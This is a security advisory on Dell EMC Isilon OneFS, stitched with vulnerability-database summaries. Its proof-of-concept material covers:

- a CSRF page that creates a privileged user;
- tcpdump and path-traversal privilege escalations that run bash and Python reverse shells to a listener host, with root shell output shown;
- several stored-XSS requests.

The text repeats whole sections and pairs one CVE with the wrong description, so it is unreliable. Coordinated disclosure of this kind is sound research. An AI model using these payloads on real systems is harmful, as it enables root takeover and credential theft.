tool that focuses on cluster- and node-specific data, is enabled once you enable ESRS. This tool is pre-set to send information about your cluster to Isilon Technical Support on a weekly basis. You can disable or enable isi_phone_home from the OneFS command-line interface." As a cluster administrator or compadmin, it is possible to enable the remote support functionality, hence enabling the isi_phone_home tool via sudo. This tool is vulnerable to a path traversal when reading the script file to run, which would enable an attacker to execute arbitrary python code with root privileges. If remote support is not enabled, an attacker could perform the following operations in order to enable it: /----- pepe-1$ sudo isi network subnets create 1 ipv4 1 pepe-1$ sudo isi network pools create 1.0 pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes --primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no --gateway-access-pools=1.0 -----/ The isi_phone_home tool is supposed to run scripts located in the root-only writable directory /usr/local/isi_phone_home/script. However, the provided script name is used to construct the file path without sanitization, allowing an attacker to reference other locations. /----- def run_script(script_file_name): script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name if os.path.isfile(script_path): cmd = 'python ' + script_path + ' 2>&1 ' command_thread = command.Command(cmd) exit_code, output = command_thread.run(int(CFG.get("SCRIPT_TIEMOUT"))) if exit_code: logging.error("Error: {0} running script: {1} ".format(str(exit_code), output)) else: logging.error("File: {0} list_file_name doesn't exist ".format(script_path)) -----/ The final step would be to create a malicious python script on any writable location and call it via the isi_phone_tool using sudo. Keep in mind that the previous steps are not required if the system does already have remote support enabled. /----- pepe-1$ cat /tmp/lala.py #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.66",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) pepe-1$ sudo /usr/bin/isi_phone_home --script-file ../../../../../tmp/lala.py -----/ /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 56807) pepe-1# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.4. *Persistent cross-site scripting in the cluster description* [CVE-2018-1186] The description parameter of the /cluster/identity endpoint is vulnerable to cross-site scripting. After the cluster's description is updated, the payload will be executed every time the user opens the Web console. /----- PUT /platform/3/cluster/identity HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 61 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"description":"my cluster<img src=x onerror=\"alert(1)\"/>"} -----/ 7.5. **Persistent cross-site scripting in the Network Configuration page** [CVE-2018-1187] The description parameter of the /network/groupnets endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the network configuration page. /----- POST /platform/4/network/groupnets HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 186 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"description":"lala<script>alert(1)</script>","dns_cache_enabled":true,"dns_options":[],"dns_search":[],"dns_servers":[],"name":"pepito2","server_side_dns_search":false} -----/ 7.6. **Persistent cross-site scripting in the Authentication Providers page** [CVE-2018-1188] The realm parameter of the /auth/settings/krb5/realms endpoint is vulnerable to cross-site scripting. After the realm is updated, the payload will be executed every time the user opens the Kerberos tab of the Authentication Providers page. /----- POST /platform/1/auth/settings/krb5/realms HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 78 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"is_default_realm":true,"kdc":[],"realm":"ASDASD<img src=x onerror=alert(1)"} -----/ 7.7. **Persistent cross-site scripting in the Antivirus page** [CVE-2018-1189] The name parameter of the /antivirus/policies endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the Antivirus page. /----- POST /platform/3/antivirus/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 172 Cookie: isisessid=c6903f55-43e7-42e2-b587-9f68142c3e06; Connection: close {"name":"pepe<img src=x onerror=\"alert(1)\"/>","description":"pepito","enabled":true,"force_run":false,"impact":null,"paths":["/ifs"],"recursion_depth":-1,"schedule":null} -----/ 7.8. **Persistent cross-site scripting in the Job Operations page** [CVE-2018-1201] The description parameter of the /job/policies endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the Impact Policies section of the Job Operations page. /----- POST /platform/1/job/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 210 Cookie: isisessid=8a5026c0-f045-4505-9d2b-ae83bc90f8ea; Connection: close {"name":"my policy","description":"<img src=x onerror=\"alert(1)\"/>","intervals":[{"begin":"Sunday 00:00","end":"Sunday 00:00","impact":"Low"},{"impact":"Low","begin":"Sunday 01:03","end":"Monday 01:01"}]} -----/ 7.9. **Persistent cross-site scripting in the NDMP page** [CVE-2018-1202] The name parameter of the /protocols/ndmp/users endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the NDMP Settings section of the NDMP page. /----- POST /platform/3/protocols/ndmp/users HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 64 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"name":"<img src=x onerror=\"alert(1)\"/>","password":"123123"} -----/ 8. **Report Timeline** 2017-09-25: Core Security sent an initial notification to Dell EMC, including a draft advisory. 2017-09-26: Dell EMC confirmed reception and informed an initial response would be ready by October 5th. 2017-10-05: Dell EMC confirmed problem exists for all vulnerabilities reported except one, for which evaluation will be finalized soon. Dell EMC stated that, for the confirmed issues, a remediation plan will be provided by 10/16. 2017-10-05: Core Security thanked the follow up email. 2017-10-06: Dell EMC reported an update on one privilege escalation vulnerability reported, stating that 'ISI_PRIV_AUTH, and ISI_PRIV_ROLE both are equivalent to admin level access'. They said they will be updating the documentation to make it clearer. 2017-10-11: Core Security thanked for the clarification and confirmed that section will be removed from the final advisory. 2017-10-16: Dell EMC sent a schedule for fixing six of the reported vulnerabilities, with specific dates for every product's version. 2017-10-16: Core Security thanked the information and said it will analyze the proposals sent once all the data is available. 2017-10-19: Dell EMC sent a schedule for the remaining three reported vulnerabilities, with specific dates for every product's version. 2017-10-31: Core Security on the schedule sent, stating that fixing the vulnerabilities by June 2018 is unacceptable given current industry standards. Requested a review of the timeline or a thorough explanation that justifies such delay. 2017-11-01: Dell EMC answered back stating that after reviewing the original schedule, they said they believe they could have fixes ready for versions 8.0.x and 8.1.x by January 2018. Only caveat is the vulnerability 7.1 that might be pushed past January, although they said they think they could meet the January deadline. 2017-11-13: Core Security thanked Dell's review of the release dates and agreed on the proposed schedule, stating Core Security would like to publish a single advisory for all the vulnerabilities reported. Also requested CVE IDs for each of the issues. 2018-01-16: Core Security asked for a status update on the release date for the fixes since there was no update from Dell EMC. 2018-01-17: Dell EMC answered back stating they are awaiting confirmation from the product team about the exact dates of release. They said they will get back to us by the end of this week. Dell EMC also asked our GPG public key again. 2018-01-18: Core Security thanked for the update and sent the advisory's public GPG key. 2018-01-19: Dell EMC stated they are currently working on drafting their advisory and will send it back to us (including CVEs) once they have the necessary approvals. 2018-01-23: Dell EMC asked for our updated draft advisory. 2018-01-25: Dell EMC notified that the team are targeting to have the fix available by February 12th. Additionally, Dell will send its draft advisory by January 31th. 2018-01-29: Core Security thanked for the update and proposed February 14th as publication date. 2018-01-31: Dell EMC informed Core Security that they agreed to release on February 14th. They also provided CVE IDs for each vulnerability reported. 2018-02-01: Dell EMC sent its draft advisory. 2018-02-14: Advisory CORE-2017-0009 published. **References** [1] https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm 10. **About CoreLabs** CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. **About Core Security** Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. **Disclaimer** The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Dell EMC Isilon versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6, versions 7.2.1.x, and version 7.1.1.11 is affected by a cross-site scripting vulnerability in the Cluster description of the OneFS web administration interface. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. Dell EMC Isilon Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. Dell EMC Isilon OneFS is prone to the following multiple security vulnerabilities. 1. A cross-site request-forgery vulnerability 2. A local privilege escalation vulnerability 3. A remote privilege escalation vulnerability 4. Multiple HTML-injection vulnerabilities Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user or to gain elevated root privileges and perform certain unauthorized actions and gain access to the affected application. OneFS web administration interface is one of the web management interfaces. Note: In Isilon OneFS, running in compadmin mode, compadmin user is less privileged than the nodes' root users. CVSS v3 Base Score: 6.7 (AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) Path Traversal Vulnerability (CVE-2018-1204) Dell EMC Isilon OneFS is affected by a path traversal vulnerability in the isi_phone_home tool. A malicious user may potentially exploit these vulnerability to send unauthorized requests to the server on behalf of authenticated users of the application. CVSS v3 Base Score: 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) Resolution: The following Dell EMC Isilon OneFS maintenance releases addresses these vulnerabilities (except for CVE-2018-1213): Dell EMC Isilon OneFS 8.1.0.2 Patches are available for the below versions: Patch-213283 for OneFS 8.1.0.2 (CVE-2018-1213 only) Patch-217638 for OneFS 8.1.0.1 (all CVEs) Patch-213281 for OneFS 8.1.0.0 (all CVEs) Patch-213280 for OneFS 8.0.1.2 (all CVEs) Patch-213278 for OneFS 8.0.0.6 (all CVEs) Patch-217637 for OneFS 8.0.0.5 (all CVEs) Patch-211980 for OneFS 8.0.0.4 (all CVEs) IMPORTANT: If you update Isilon OneFS with a patch from this list, and you are using Insight IQ, you must upgrade to Insight IQ 4.1.2 prior to installing the patch. This advisory will be updated when fixes are available for additional versions. -----BEGIN PGP SIGNATURE----- Version: GnuPG v2 iQEcBAEBCAAGBQJar7X8AAoJEHbcu+fsE81ZnVsH/RkfP2XUz4sHV2uQofuZR2bJ 319oyT9XVWUsOwCtQQ2ty/rolXHlO/B1viIq5OYJo4sTrN9s8dupz/Patek9HdiT RR0nvSVEgLM4C8NwB30hwJO8luuO8RDQUc3BQnSo6Vy8b1zM9F7A+yMZgseUoOaW u5jduNB8kvTAAyK4SnujqyBE4eT193x2yxAr15VoMRNFlmmu+S8GHpcCMoE0CDRt 05zhC6wCelN9BA0Bf7D533ffigfP8QAe+zw/OaQgQcEmoe5ys9aaHp2EJaAF5UZN Eh5JtXuwGX3dq0GDdVgbrA0ZlQlLConpBHhZEoIn99YF4MHpbp9l3QbeEYUS2ko= =c/8F -----END PGP SIGNATURE----- . **Advisory Information** Title: Dell EMC Isilon OneFS Multiple Vulnerabilities Advisory ID: CORE-2017-0009 Advisory URL: http://www.coresecurity.com/advisories/dell-emc-isilon-onefs-multiple-vulnerabilities Date published: 2018-02-14 Date of last update: 2018-02-14 Vendors contacted: Dell EMC Release mode: Coordinated release 2. **Vulnerability Information** Class: Cross-Site Request Forgery [CWE-352], Improper Privilege Management [CWE-269], Improper Privilege Management [CWE-269], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79], Improper Neutralization of Input During Web Page Generation [CWE-79] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-1213, CVE-2018-1203, CVE-2018-1204, CVE-2018-1186, CVE-2018-1187, CVE-2018-1188, CVE-2018-1189, CVE-2018-1201, CVE-2018-1202 3. **Vulnerability Description** Dell EMC's website states that:[1] The EMC Isilon scale-out NAS storage platform combines modular hardware with unified software to harness unstructured data. Powered by the OneFS operating system, an EMC Isilon cluster delivers a scalable pool of storage with a global namespace. The platform's unified software provides centralized Web-based and command-line administration to manage the following features: - A cluster that runs a distributed file system - Scale-out nodes that add capacity and performance - Storage options that manage files and tiering - Flexible data protection and high availability - Software modules that control costs and optimize resources Multiple vulnerabilities were found in the Isilon OneFS Web console that would allow a remote attacker to gain command execution as root. **Vulnerable Packages** . Dell EMC Isilon OneFS version 8.1.1.0 (CVE-2018-1203, CVE-2018-1204) . Dell EMC Isilon OneFS versions between 8.1.0.0 - 8.1.0.1 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.1.0 - 8.0.1.2 (all CVEs) . Dell EMC Isilon OneFS versions between 8.0.0.0 - 8.0.0.6 (all CVEs) . Dell EMC Isilon OneFS versions 7.2.1.x (CVE-2018-1186, CVE-2018-1188, CVE-2018-1201, CVE-2018-1204, CVE-2018-1213) . https://support.emc.com/downloads/15209_Isilon-OneFS 6. **Credits** These vulnerabilities were discovered and researched by Ivan Huertas and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. **Technical Description / Proof of Concept Code** The Web console contains several sensitive features that are vulnerable to cross-site request forgery. We describe this issue in section 7.1. Sections 7.2 and 7.3 show two vectors to escalate privileges to root. Various persistent cross-site scripting issues are presented in the remaining sections (7.4, 7.5, 7.6, 7.7, 7.8, 7.9). **Cross-site request forgery leading to command execution** [CVE-2018-1213] There are no anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. The Web console contains a plethora of sensitive actions that can be abused, such as adding new users with SSH access or re-mapping existing storage directories to allow read-write-execute access to all users. All requests are JSON-encoded, which in some cases might hinder exploitation of CSRF vulnerabilities. However, the application does not verify the content-type set. This allows an attacker to exploit the CSRF vulnerabilities by setting a text/plain content-type and sending the request body as JSON_PAYLOAD=ignored. The following proof of concept creates a new user and assigns him a new role with enough privileges to log in via SSH, configure identifies, manage authentication providers, configure the cluster and run the remote support tools. /----- <html> <body> <form id="addUser" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/users?query_member_of=true&resolve_names=true&start=0&zone=System&provider=lsa-local-provider%3ASystem" method="POST" enctype="text/plain"> <input type="hidden" name="{"name":"pepito","enabled":true,"shell":"/bin/zsh","password_expires":false,"password":"pepito"}" value="" /> </form> <form id="addRole" target="_blank" action="https://192.168.1.11:8080/platform/1/auth/roles" method="POST" enctype="text/plain"> <input type="hidden" name="{"members":[{"name":"pepito","type":"user"}],"name":"pepito_role","privileges":[{"id":"ISI_PRIV_AUTH","name":"Auth","read_only":false},{"id":"ISI_PRIV_CLUSTER","name":"Cluster","read_only":false},{"id":"ISI_PRIV_REMOTE_SUPPORT","name":"Remote Support","read_only":false},{"id":"ISI_PRIV_LOGIN_SSH","name":"SSH","read_only":true}]}" value="" /> </form> <script> document.getElementById("addUser").submit(); window.setTimeout(function() { document.getElementById("addRole").submit() }, 1000); </script> </body> </html> -----/ 7.2. **Privilege escalation due to incorrect sudo permissions** [CVE-2018-1203] The compadmin user can run the tcpdump binary with root privileges via sudo. This allows for local privilege escalation, as tcpdump can be instructed to run shell commands when rotating capture files. /----- pepe-1$ id uid=11(compadmin) gid=0(wheel) groups=0(wheel),1(daemon) pepe-1$ cat /tmp/lala.sh #!/bin/bash bash -i >& /dev/tcp/192.168.1.66/8888 0>&1 -----/ Once the desired shell script is in place, the attacker can run tcpdump as follows to trigger the execution: /----- pepe-1$ sudo tcpdump -i em0 -G 1 -z /tmp/lala.sh -w dump tcpdump: WARNING: unable to contact casperd tcpdump: listening on em0, link-type EN10MB (Ethernet), capture size 65535 bytes /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused /tmp/lala.sh: connect: Connection refused /tmp/lala.sh: line 3: /dev/tcp/192.168.1.66/8888: Connection refused -----/ As can be seen below, the script runs with root privileges: /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 57692) bash: no job control in this shell [root@pepe-1 /compadmin]# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.3. **Privilege escalation via remote support scripts** [CVE-2018-1204] >From the documentation: "OneFS allows remote support through EMC Secure Remote Services (ESRS) which monitors your EMC Isilon cluster, and with your permission, allows remote access to Isilon Technical Support personnel to gather cluster data and troubleshoot issues." "After you enable remote support through ESRS, Isilon Technical Support personnel can request logs with scripts that gather EMC Isilon cluster data and then upload the data. The remote support scripts based on the Isilon isi_gather_info log-gathering tool are located in the /ifs/data/Isilon_Support/ directory on each node." "Additionally, isi_phone_home, a tool that focuses on cluster- and node-specific data, is enabled once you enable ESRS. This tool is pre-set to send information about your cluster to Isilon Technical Support on a weekly basis. You can disable or enable isi_phone_home from the OneFS command-line interface." As a cluster administrator or compadmin, it is possible to enable the remote support functionality, hence enabling the isi_phone_home tool via sudo. This tool is vulnerable to a path traversal when reading the script file to run, which would enable an attacker to execute arbitrary python code with root privileges. If remote support is not enabled, an attacker could perform the following operations in order to enable it: /----- pepe-1$ sudo isi network subnets create 1 ipv4 1 pepe-1$ sudo isi network pools create 1.0 pepe-1$ sudo isi remotesupport connectemc modify --enabled=yes --primary-esrs-gateway=10.10.10.10 --use-smtp-failover=no --gateway-access-pools=1.0 -----/ The isi_phone_home tool is supposed to run scripts located in the root-only writable directory /usr/local/isi_phone_home/script. However, the provided script name is used to construct the file path without sanitization, allowing an attacker to reference other locations. /----- def run_script(script_file_name): script_path = CFG.get('SCRIPTDIR') + '/' + script_file_name if os.path.isfile(script_path): cmd = 'python ' + script_path + ' 2>&1 ' command_thread = command.Command(cmd) exit_code, output = command_thread.run(int(CFG.get("SCRIPT_TIEMOUT"))) if exit_code: logging.error("Error: {0} running script: {1} ".format(str(exit_code), output)) else: logging.error("File: {0} list_file_name doesn't exist ".format(script_path)) -----/ The final step would be to create a malicious python script on any writable location and call it via the isi_phone_tool using sudo. Keep in mind that the previous steps are not required if the system does already have remote support enabled. /----- pepe-1$ cat /tmp/lala.py #!/usr/bin/env python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.1.66",8888)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]) pepe-1$ sudo /usr/bin/isi_phone_home --script-file ../../../../../tmp/lala.py -----/ /----- $ nc -lvp 8888 Listening on [0.0.0.0] (family 0, port 8888) Connection from [192.168.1.11] port 8888 [tcp/*] accepted (family 2, sport 56807) pepe-1# id uid=0(root) gid=0(wheel) groups=0(wheel),5(operator),10(admin),20(staff),70(ifs) -----/ 7.4. *Persistent cross-site scripting in the cluster description* [CVE-2018-1186] The description parameter of the /cluster/identity endpoint is vulnerable to cross-site scripting. After the cluster's description is updated, the payload will be executed every time the user opens the Web console. /----- PUT /platform/3/cluster/identity HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 61 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"description":"my cluster<img src=x onerror=\"alert(1)\"/>"} -----/ 7.5. **Persistent cross-site scripting in the Network Configuration page** [CVE-2018-1187] The description parameter of the /network/groupnets endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the network configuration page. /----- POST /platform/4/network/groupnets HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 186 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"description":"lala<script>alert(1)</script>","dns_cache_enabled":true,"dns_options":[],"dns_search":[],"dns_servers":[],"name":"pepito2","server_side_dns_search":false} -----/ 7.6. **Persistent cross-site scripting in the Authentication Providers page** [CVE-2018-1188] The realm parameter of the /auth/settings/krb5/realms endpoint is vulnerable to cross-site scripting. After the realm is updated, the payload will be executed every time the user opens the Kerberos tab of the Authentication Providers page. /----- POST /platform/1/auth/settings/krb5/realms HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 78 Cookie: isisessid=31f92221-15bb-421d-be00-d2bf42964c41; Connection: close {"is_default_realm":true,"kdc":[],"realm":"ASDASD<img src=x onerror=alert(1)"} -----/ 7.7. **Persistent cross-site scripting in the Antivirus page** [CVE-2018-1189] The name parameter of the /antivirus/policies endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the Antivirus page. /----- POST /platform/3/antivirus/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/json Content-Length: 172 Cookie: isisessid=c6903f55-43e7-42e2-b587-9f68142c3e06; Connection: close {"name":"pepe<img src=x onerror=\"alert(1)\"/>","description":"pepito","enabled":true,"force_run":false,"impact":null,"paths":["/ifs"],"recursion_depth":-1,"schedule":null} -----/ 7.8. **Persistent cross-site scripting in the Job Operations page** [CVE-2018-1201] The description parameter of the /job/policies endpoint is vulnerable to cross-site scripting. After the description is updated, the payload will be executed every time the user opens the Impact Policies section of the Job Operations page. /----- POST /platform/1/job/policies HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 210 Cookie: isisessid=8a5026c0-f045-4505-9d2b-ae83bc90f8ea; Connection: close {"name":"my policy","description":"<img src=x onerror=\"alert(1)\"/>","intervals":[{"begin":"Sunday 00:00","end":"Sunday 00:00","impact":"Low"},{"impact":"Low","begin":"Sunday 01:03","end":"Monday 01:01"}]} -----/ 7.9. **Persistent cross-site scripting in the NDMP page** [CVE-2018-1202] The name parameter of the /protocols/ndmp/users endpoint is vulnerable to cross-site scripting. After the name is updated, the payload will be executed every time the user opens the NDMP Settings section of the NDMP page. /----- POST /platform/3/protocols/ndmp/users HTTP/1.1 Host: 192.168.1.11:8080 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json X-Requested-With: XMLHttpRequest Content-Length: 64 Cookie: isisessid=91835dd1-49de-4d40-9f09-94f6d029df24; Connection: close {"name":"<img src=x onerror=\"alert(1)\"/>","password":"123123"} -----/ 8. **Report Timeline** 2017-09-25: Core Security sent an initial notification to Dell EMC, including a draft advisory. 2017-09-26: Dell EMC confirmed reception and informed an initial response would be ready by October 5th. 2017-10-05: Dell EMC confirmed problem exists for all vulnerabilities reported except one, for which evaluation will be finalized soon. Dell EMC stated that, for the confirmed issues, a remediation plan will be provided by 10/16. 2017-10-05: Core Security thanked the follow up email. 2017-10-06: Dell EMC reported an update on one privilege escalation vulnerability reported, stating that 'ISI_PRIV_AUTH, and ISI_PRIV_ROLE both are equivalent to admin level access'. They said they will be updating the documentation to make it clearer. 2017-10-11: Core Security thanked for the clarification and confirmed that section will be removed from the final advisory. 2017-10-16: Dell EMC sent a schedule for fixing six of the reported vulnerabilities, with specific dates for every product's version. 2017-10-16: Core Security thanked the information and said it will analyze the proposals sent once all the data is available. 2017-10-19: Dell EMC sent a schedule for the remaining three reported vulnerabilities, with specific dates for every product's version. 2017-10-31: Core Security on the schedule sent, stating that fixing the vulnerabilities by June 2018 is unacceptable given current industry standards. Requested a review of the timeline or a thorough explanation that justifies such delay. 2017-11-01: Dell EMC answered back stating that after reviewing the original schedule, they said they believe they could have fixes ready for versions 8.0.x and 8.1.x by January 2018. Only caveat is the vulnerability 7.1 that might be pushed past January, although they said they think they could meet the January deadline. 2017-11-13: Core Security thanked Dell's review of the release dates and agreed on the proposed schedule, stating Core Security would like to publish a single advisory for all the vulnerabilities reported. Also requested CVE IDs for each of the issues. 2018-01-16: Core Security asked for a status update on the release date for the fixes since there was no update from Dell EMC. 2018-01-17: Dell EMC answered back stating they are awaiting confirmation from the product team about the exact dates of release. They said they will get back to us by the end of this week. Dell EMC also asked our GPG public key again. 2018-01-18: Core Security thanked for the update and sent the advisory's public GPG key. 2018-01-19: Dell EMC stated they are currently working on drafting their advisory and will send it back to us (including CVEs) once they have the necessary approvals. 2018-01-23: Dell EMC asked for our updated draft advisory. 2018-01-25: Dell EMC notified that the team are targeting to have the fix available by February 12th. Additionally, Dell will send its draft advisory by January 31th. 2018-01-29: Core Security thanked for the update and proposed February 14th as publication date. 2018-01-31: Dell EMC informed Core Security that they agreed to release on February 14th. They also provided CVE IDs for each vulnerability reported. 2018-02-01: Dell EMC sent its draft advisory. 2018-02-14: Advisory CORE-2017-0009 published. **References** [1] https://www.dellemc.com/en-us/storage/isilon/onefs-operating-system.htm 10. **About CoreLabs** CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. **About Core Security** Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. **Disclaimer** The contents of this advisory are copyright (c) 2017 Core Security and (c) 2017 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

Dell EMC Isilon versions between 8.1.0.0 - 8.1.0.1, 8.0.1.0 - 8.0.1.2, and 8.0.0.0 - 8.0.0.6, versions 7.2.1.x, and version 7.1.1.11 is affected by a cross-site scripting vulnerability in the Antivirus Page within the OneFS web administration interface. A malicious administrator may potentially inject arbitrary HTML or JavaScript code in the user's browser session in the context of the OneFS website. Dell EMC Isilon Contains a cross-site scripting vulnerability.Information may be obtained and information may be altered. Dell EMC Isilon OneFS is prone to the following multiple security vulnerabilities. 1. A cross-site request-forgery vulnerability 2. A local privilege escalation vulnerability 3. A remote privilege escalation vulnerability 4. Multiple HTML-injection vulnerabilities Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user or to gain elevated root privileges and perform certain unauthorized actions and gain access to the affected application. OneFS web administration interface is one of the web management interfaces. Note: In Isilon OneFS, running in compadmin mode, compadmin user is less privileged than the nodes' root users. CVSS v3 Base Score: 6.7 